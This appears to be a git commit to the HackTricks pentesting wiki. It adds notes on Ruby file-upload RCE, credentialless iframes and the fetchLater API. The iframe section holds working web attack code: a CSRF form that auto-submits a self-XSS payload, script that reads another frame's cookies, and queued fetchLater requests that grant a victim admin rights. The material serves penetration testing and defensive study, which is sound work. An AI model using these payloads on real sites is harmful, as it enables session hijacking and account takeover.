This commit is contained in:
carlospolop 2025-06-15 17:09:07 +02:00
parent 8270fe8f97
commit 42a3c3e626
4 changed files with 69 additions and 0 deletions

View File

@ -435,6 +435,7 @@
- [PrestaShop](network-services-pentesting/pentesting-web/prestashop.md)
- [Python](network-services-pentesting/pentesting-web/python.md)
- [Rocket Chat](network-services-pentesting/pentesting-web/rocket-chat.md)
- [Ruby Tricks](network-services-pentesting/pentesting-web/ruby-tricks.md)
- [Special HTTP headers$$external:network-services-pentesting/pentesting-web/special-http-headers.md$$]()
- [Source code Review / SAST Tools](network-services-pentesting/pentesting-web/code-review-tools.md)
- [Spring Actuators](network-services-pentesting/pentesting-web/spring-actuators.md)

View File

@ -0,0 +1,12 @@
# Ruby Tricks
{{#include ../../banners/hacktricks-training.md}}
## File upload to RCE
As explained in [this article](https://www.offsec.com/blog/cve-2024-46986/), uploading a `.rb` file into sensitive directories such as `config/initializers/` can lead to remote code execution (RCE) in Ruby on Rails applications.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -100,6 +100,7 @@ Example:\
You found a **self XSS** in some private details of the account (details that **only you can set and read**). The page with the **form** to set these details is **vulnerable** to **Clickjacking** and you can **prepopulate** the **form** with the GET parameters.\
An attacker could prepare a **Clickjacking** attack to that page **prepopulating** the **form** with the **XSS payload** and **tricking** the **user** into **Submit** the form. So, **when the form is submitted** and the values are modified, the **user will execute the XSS**.
### DoubleClickjacking
Firstly [explained in this post](https://securityaffairs.com/172572/hacking/doubleclickjacking-clickjacking-on-major-websites.html), this technique would ask the victim to double click on a button of a custom page placed in a specific location, and use the timing differences between mousedown and onclick events to load the victim page duing the double click so the **victim actually clicks a legit button in the victim page**.

View File

@ -144,6 +144,61 @@ The attribute's value can be left empty (`sandbox=""`) to apply all the aforemen
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
```
### Credentialless iframes
As explained in [this article](https://blog.slonser.info/posts/make-self-xss-great-again/), the `credentialless` flag in an iframe is used to load a page inside an iframe without sending credentials in the request while maintaining the same origin policy (SOP) of the loaded page in the iframe.
This allows the iframe to access sensitive information from another iframe in the same SOP loaded in the parent page:
```javascript
window.top[1].document.body.innerHTML = 'Hi from credentialless';
alert(window.top[1].document.cookie);
```
- Exploit example: Self-XSS + CSRF
In this attack, the attacker prepares a malicious webpage with 2 iframes:
- An iframe that loads the victim's page with the `credentialless` flag with a CSRF that triggers a XSS (Imagin a Self-XSS in the username of the user):
```html
<html>
<body>
<form action="http://victim.domain/login" method="POST">
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
<input type="hidden" name="password" value="Super_s@fe_password" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
```
- Another iframe that actually has the user logged in (without the `credentialless` flag).
Then, from the XSS it's possible to access the other iframe as they have the same SOP and steal the cookie for example executing:
```javascript
alert(window.top[1].document.cookie);
```
### fetchLater Attack
As indicated in [this article](https://blog.slonser.info/posts/make-self-xss-great-again/) The API `fetchLater` allows to configure a request to be executed later (after a certain time). Therefore, this can be abused to for example, login a victim inside an attackers session (with Self-XSS), set a `fetchLater` request (to change the password of the current user for example) and logout from the attackers session. Then, the victim logs in in his own session and the `fetchLater` request will be executed, changing the password of the victim to the one set by the attacker.
This way even if the victim URL cannot be loaded in an iframe (due to CSP or other restrictions), the attacker can still execute a request in the victim's session.
```javascript
var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
const minute = 60000
let arr = [minute, minute * 60, minute * 60 * 24, ...]
for (let timeout of arr)
fetchLater(req,{activateAfter: timeout})
```
## Iframes in SOP
Check the following pages: